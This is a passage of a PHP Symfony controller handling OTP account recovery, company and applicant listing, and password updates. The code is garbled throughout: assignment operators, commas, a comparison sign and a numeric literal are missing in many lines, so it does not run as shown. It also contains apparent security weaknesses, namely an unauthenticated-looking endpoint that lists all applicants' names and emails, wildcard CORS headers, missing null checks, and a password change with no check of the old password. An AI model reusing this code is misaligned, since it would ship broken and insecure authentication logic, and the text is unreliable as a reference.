  9161.                     'templateData' => $twigData,
  9162.                     'message' => $message,
  9163.                     "otp" => '',
  9164. //                "otp"=>$otp,
  9165.                     "otpExpireTs" => $otpExpireTs,
  9166.                     'actionData' => $email_twig_data,
  9167.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9168.                 )
  9169.             );
  9170.             $response->headers->set('Access-Control-Allow-Origin''*');
  9171.             return $response;
  9172.         } else {
  9173.             return $this->render(
  9174.                 $twig_file,
  9175.                 $twigData
  9176.             );
  9177.         }
  9178.     }
  9179.     public function VerifyOtpAction(Request $request$encData ''$remoteVerify 0)
  9180.     {
  9181. //        $userCategory=$request->request->has('userCategory');
  9182.         $encryptedData = [];
  9183.         $errorField '';
  9184.         $message '';
  9185.         $userType '';
  9186.         $otpExpireSecond 180;
  9187.         $otpExpireTs 0;
  9188.         if ($encData != '')
  9189.             $encryptedData json_decode($this->get('url_encryptor')->decrypt($encData), true);
  9190. //        $encryptedData = $this->get('url_encryptor')->decrypt($encData);
  9191.         $otp = isset($encryptedData['otp']) ? $encryptedData['otp'] : 0;
  9192.         $email = isset($encryptedData['email']) ? $encryptedData['email'] : 0;
  9193.         $otpExpireTs = isset($encryptedData['otpExpireTs']) ? $encryptedData['otpExpireTs'] : 0;
  9194.         $otpActionId = isset($encryptedData['otpActionId']) ? $encryptedData['otpActionId'] : 0;
  9195.         $userId = isset($encryptedData['userId']) ? $encryptedData['userId'] : 0;
  9196.         $userCategory = isset($encryptedData['otp']) ? $encryptedData['userCategory'] : '_BUDDYBEE_USER_';
  9197.         $em $this->getDoctrine()->getManager('company_group');
  9198.         $em_goc $this->getDoctrine()->getManager('company_group');
  9199.         $systemType $this->container->hasParameter('system_type') ? $this->container->getParameter('system_type') : '_ERP_';
  9200.         $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9201.         $twigData = [];
  9202.         $email_twig_file '@Application/pages/email/find_account_buddybee.html.twig';
  9203.         $email_twig_data = [];
  9204.         $userData = [];
  9205.         if ($request->isMethod('POST') || $otp != '') {
  9206.             $otp $request->request->get('otp'$otp);
  9207.             $otpActionId $request->request->get('otpActionId'$otpActionId);
  9208.             $userId $request->request->get('userId'$userId);
  9209.             $userCategory $request->request->get('userCategory'$userCategory);
  9210.             $email_address $request->request->get('email'$email);
  9211.             if ($systemType == '_ERP_') {
  9212.                 if ($userCategory == '_APPLICANT_') {
  9213.                     $userType UserConstants::USER_TYPE_APPLICANT;
  9214.                     $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9215.                         array(
  9216.                             'email' => $email_address
  9217.                         )
  9218.                     );
  9219.                     if ($userObj) {
  9220.                     } else {
  9221.                         $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9222.                             array(
  9223.                                 'oAuthEmail' => $email_address
  9224.                             )
  9225.                         );
  9226.                         if ($userObj) {
  9227.                         } else {
  9228.                             $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9229.                                 array(
  9230.                                     'userName' => $email_address
  9231.                                 )
  9232.                             );
  9233.                         }
  9234.                     }
  9235.                     if ($userObj) {
  9236.                         $email_address $userObj->getEmail();
  9237.                         if ($email_address == null || $email_address == '')
  9238.                             $email_address $userObj->getOAuthEmail();
  9239.                     }
  9240. //                    triggerResetPassword:
  9241. //                    type: integer
  9242. //                          nullable: true
  9243.                     $otpData MiscActions::GenerateOtp($otpExpireSecond);
  9244.                     $userObj->setOtp($otpData['otp']);
  9245.                     $userObj->setOtpActionId(UserConstants::OTP_ACTION_FORGOT_PASSWORD);
  9246.                     $userObj->setOtpExpireTs($otpData['expireTs']);
  9247.                     $em_goc->flush();
  9248.                     $userData = array(
  9249.                         'id' => $userObj->getApplicantId(),
  9250.                         'email' => $email_address,
  9251.                         'appId' => 0,
  9252. //                        'appId'=>$userObj->getUserAppId(),
  9253.                     );
  9254.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9255.                     $email_twig_data = [
  9256.                         'page_title' => 'Find Account',
  9257.                         'encryptedData' => $encryptedData,
  9258.                         'message' => $message,
  9259.                         'userType' => $userType,
  9260.                         'errorField' => $errorField,
  9261.                         'otp' => $otpData['otp'],
  9262.                         'otpExpireSecond' => $otpExpireSecond,
  9263.                         'otpActionId' => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9264.                         'otpExpireTs' => $otpData['expireTs'],
  9265.                         'systemType' => $systemType,
  9266.                         'userData' => $userData
  9267.                     ];
  9268.                     if ($userObj)
  9269.                         $email_twig_data['success'] = true;
  9270.                 } else {
  9271.                     $userType UserConstants::USER_TYPE_GENERAL;
  9272.                     $email_twig_file '@Application/email/templates/forgotPasswordOtp.html.twig';
  9273.                     $email_twig_data = [
  9274.                         'page_title' => 'Find Account',
  9275.                         'encryptedData' => $encryptedData,
  9276.                         'message' => $message,
  9277.                         'userType' => $userType,
  9278.                         'errorField' => $errorField,
  9279.                     ];
  9280.                 }
  9281.             } else if ($systemType == '_BUDDYBEE_') {
  9282.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9283.                 $userObj $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->findOneBy(
  9284.                     array(
  9285.                         'applicantId' => $userId
  9286.                     )
  9287.                 );
  9288.                 if ($userObj) {
  9289.                     $userOtp $userObj->getOtp();
  9290.                     $userOtpActionId $userObj->getOtpActionId();
  9291.                     $userOtpExpireTs $userObj->getOtpExpireTs();
  9292.                     $otpExpireTs $userObj->getOtpExpireTs();
  9293.                     $currentTime = new \DateTime();
  9294.                     $currentTimeTs $currentTime->format('U');
  9295.                     if ($userOtp != $otp) {
  9296.                         $message "Invalid OTP!";
  9297.                         $email_twig_data['success'] = false;
  9298.                     } else if ($userOtpActionId != $otpActionId) {
  9299.                         $message "Invalid OTP Action!";
  9300.                         $email_twig_data['success'] = false;
  9301.                     } else if ($currentTimeTs $userOtpExpireTs) {
  9302.                         $message "OTP Expired!";
  9303.                         $email_twig_data['success'] = false;
  9304.                     } else {
  9305.                         $userObj->setOtp(0);
  9306.                         $userObj->setOtpActionId(UserConstants::OTP_ACTION_NONE);
  9307.                         $userObj->setOtpExpireTs(0);
  9308.                         $userObj->setTriggerResetPassword(1);
  9309.                         $em_goc->flush();
  9310.                         $email_twig_data['success'] = true;
  9311.                         $message "";
  9312.                     }
  9313.                     $userData = array(
  9314.                         'id' => $userObj->getApplicantId(),
  9315.                         'email' => $email_address,
  9316.                         'appId' => 0,
  9317.                         'image' => $userObj->getImage(),
  9318.                         'firstName' => $userObj->getFirstname(),
  9319.                         'lastName' => $userObj->getLastname(),
  9320. //                        'appId'=>$userObj->getUserAppId(),
  9321.                     );
  9322.                     $email_twig_data['userData'] = $userData;
  9323.                 } else {
  9324.                     $message "Account not found!";
  9325.                     $email_twig_data['success'] = false;
  9326.                 }
  9327.             }
  9328.             if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9329.                 $response = new JsonResponse(array(
  9330.                         'templateData' => $twigData,
  9331.                         'message' => $message,
  9332.                         'actionData' => $email_twig_data,
  9333.                         'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9334.                     )
  9335.                 );
  9336.                 $response->headers->set('Access-Control-Allow-Origin''*');
  9337.                 return $response;
  9338.             } else if ($email_twig_data['success'] == true) {
  9339.                 $encData = array(
  9340.                     "userType" => $userType,
  9341.                     "otp" => '',
  9342.                     "otpExpireTs" => $otpExpireTs,
  9343.                     "otpActionId" => UserConstants::OTP_ACTION_FORGOT_PASSWORD,
  9344.                     "userCategory" => $userCategory,
  9345.                     "userId" => $userData['id'],
  9346.                     "systemType" => $systemType,
  9347.                 );
  9348.                 $encDataStr $this->get('url_encryptor')->encrypt(json_encode($encData));
  9349.                 $url $this->generateUrl(
  9350.                     'reset_password_new_password'
  9351.                 );
  9352.                 return $this->redirect($url "/" $encDataStr);
  9353. //                return $this->redirectToRoute("reset_password_new_password", [
  9354. ////                'id' => $isApplicantExist->getApplicantId(),
  9355. ////                'oAuthData' => $oAuthData,
  9356. ////                'refRoute' => $refRoute,
  9357. //                ]);
  9358.             }
  9359.         }
  9360.         if ($systemType == '_ERP_') {
  9361.             if ($userCategory == '_APPLICANT_') {
  9362.                 $userType UserConstants::USER_TYPE_APPLICANT;
  9363.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9364.                 $twigData = [
  9365.                     'page_title' => 'Find Account',
  9366.                     'encryptedData' => $encryptedData,
  9367.                     'message' => $message,
  9368.                     'userType' => $userType,
  9369.                     'errorField' => $errorField,
  9370.                 ];
  9371.             } else {
  9372.                 $userType UserConstants::USER_TYPE_GENERAL;
  9373.                 $twig_file '@Authentication/pages/views/find_account_buddybee.html.twig';
  9374.                 $twigData = [
  9375.                     'page_title' => 'Find Account',
  9376.                     'encryptedData' => $encryptedData,
  9377.                     'message' => $message,
  9378.                     'userType' => $userType,
  9379.                     'errorField' => $errorField,
  9380.                 ];
  9381.             }
  9382.         } else if ($systemType == '_BUDDYBEE_') {
  9383.             $userType UserConstants::USER_TYPE_APPLICANT;
  9384.             $twig_file '@Authentication/pages/views/verify_otp_buddybee.html.twig';
  9385.             $twigData = [
  9386.                 'page_title' => 'Verify Otp',
  9387.                 'encryptedData' => $encryptedData,
  9388.                 'message' => $message,
  9389.                 'email' => $email,
  9390.                 "otp" => '',
  9391. //                "otp"=>$otp,
  9392.                 "otpExpireTs" => $otpExpireTs,
  9393.                 'userType' => $userType,
  9394.                 'userCategory' => $userCategory,
  9395.                 'errorField' => $errorField,
  9396.             ];
  9397.         }
  9398.         if ($request->request->has('remoteVerify') || $request->request->has('returnJson') || $request->query->has('returnJson')) {
  9399.             $response = new JsonResponse(array(
  9400.                     'templateData' => $twigData,
  9401.                     'message' => $message,
  9402.                     'actionData' => $email_twig_data,
  9403.                     'success' => isset($email_twig_data['success']) ? $email_twig_data['success'] : false,
  9404.                 )
  9405.             );
  9406.             $response->headers->set('Access-Control-Allow-Origin''*');
  9407.             return $response;
  9408.         } else {
  9409.             return $this->render(
  9410.                 $twig_file,
  9411.                 $twigData
  9412.             );
  9413.         }
  9414.     }
  9415. //    public function getCompanyByUser(Request $request){
  9416. //        $em = $this->getDoctrine()->getManager();
  9417. //        $em_goc = $this->getDoctrine()->getManager('company_group');
  9418. //        $session = $request->getSession();
  9419. //        $userId = $session->get(UserConstants::USER_ID);
  9420. //        $applicantDetails = $em->getRepository("ApplicationBundle\\Entity\\SysUser")->createQueryBuilder('U')
  9421. //            ->select('U.userAppIdList')
  9422. //            ->where('U.userId = :userId')
  9423. //            ->setParameter('userId', $userId)
  9424. //            ->getQuery()
  9425. //            ->getResult();
  9426. //
  9427. //        $compnayDetails = $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")->createQueryBuilder('C')
  9428. //            ->select('C.name','C.appId')
  9429. //            ->getQuery()
  9430. //            ->getResult();
  9431. //
  9432. //        return new JsonResponse(
  9433. //            [
  9434. //                'applicantCompnayId' => $applicantDetails,
  9435. //                'copanyData' => $compnayDetails
  9436. //            ]
  9437. //        );
  9438.     public function getCompanyByUser(Request $request)
  9439.     {
  9440.         $em_goc $this->getDoctrine()->getManager('company_group');
  9441.         $em_goc->getConnection()->connect();
  9442.         $session $request->getSession();
  9443.         $appIds $session->get(UserConstants::USER_APP_ID_LIST);
  9444.         $userAppIdList json_decode($appIdstrue);
  9445.         if (!is_array($userAppIdList)) {
  9446.             return new JsonResponse([]);
  9447.         }
  9448.         $companyData $em_goc->getRepository("CompanyGroupBundle\\Entity\\CompanyGroup")
  9449.             ->createQueryBuilder('C')
  9450.             ->select('C.name, C.appId')
  9451.             ->where('C.appId IN (:appIds)')
  9452.             ->setParameter('appIds'$userAppIdList)
  9453.             ->getQuery()
  9454.             ->getResult();
  9455.         return new JsonResponse($companyData);
  9456.     }
  9457.     public function applicantList(Request $request)
  9458.     {
  9459.         $em_goc $this->getDoctrine()->getManager('company_group');
  9460.         $em_goc->getConnection()->connect();
  9461.         $applicantList $em_goc->getRepository("CompanyGroupBundle\\Entity\\EntityApplicantDetails")
  9462.             ->createQueryBuilder('C')
  9463.             ->select('C.applicantId, C.firstname, C.lastname,C.email')
  9464.             ->getQuery()
  9465.             ->getResult();
  9466.         return new JsonResponse($applicantList);
  9467.     }
  9468.     public function getUserType()
  9469.     {
  9470.         $userType HumanResourceConstant::$userTypeForApp;
  9471.         return new JsonResponse($userType);
  9472.     }
  9473.     private function appendCentralCustomerAccessList(array $accessListint $applicantId): array
  9474.     {
  9475.         if ($applicantId <= || !$this->container->has('app.organization_identity_service')) {
  9476.             return $accessList;
  9477.         }
  9478.         try {
  9479.             $customerAccessList $this->get('app.organization_identity_service')
  9480.                 ->buildCustomerAccessListForApplicant($applicantId$this->get('url_encryptor'));
  9481.         } catch (\Throwable $e) {
  9482.             return $accessList;
  9483.         }
  9484.         if (empty($customerAccessList)) {
  9485.             return $accessList;
  9486.         }
  9487.         $detailedClientApps = [];
  9488.         foreach ($customerAccessList as $item) {
  9489.             if (isset($item['appId'])) {
  9490.                 $detailedClientApps[(int)$item['appId']] = true;
  9491.             }
  9492.         }
  9493.         $filtered = [];
  9494.         foreach ($accessList as $item) {
  9495.             $isGenericClient = (int)($item['userType'] ?? 0) === UserConstants::USER_TYPE_CLIENT
  9496.                 && empty($item['erpClientId'])
  9497.                 && isset($detailedClientApps[(int)($item['appId'] ?? 0)]);
  9498.             if (!$isGenericClient) {
  9499.                 $filtered[] = $item;
  9500.             }
  9501.         }
  9502.         return array_merge($filtered$customerAccessList);
  9503.     }
  9504.     public function updatepasswordAction(Request $request)
  9505.     {
  9506.         $em_goc $this->getDoctrine()->getManager('company_group');
  9507.         $session $request->getSession();
  9508.         $userId $session->get(UserConstants::USER_ID);
  9509.         if ($request->isMethod('POST')) {
  9510.             $user $em_goc->getRepository('CompanyGroupBundle\\Entity\\EntityApplicantDetails')->find($userId);
  9511.             $encodedPassword $this->container->get('app.legacy_password_service')->hashWithSalt($request->request->get('password'), $user->getSalt());
  9512.             $user->setPassword($encodedPassword);
  9513.             $em_goc->persist($user);
  9514.             $em_goc->flush();
  9515.             return new JsonResponse(['status' => 'success''message' => 'Password updated successfully.']);
  9516.         }
  9517.     }
  9518. }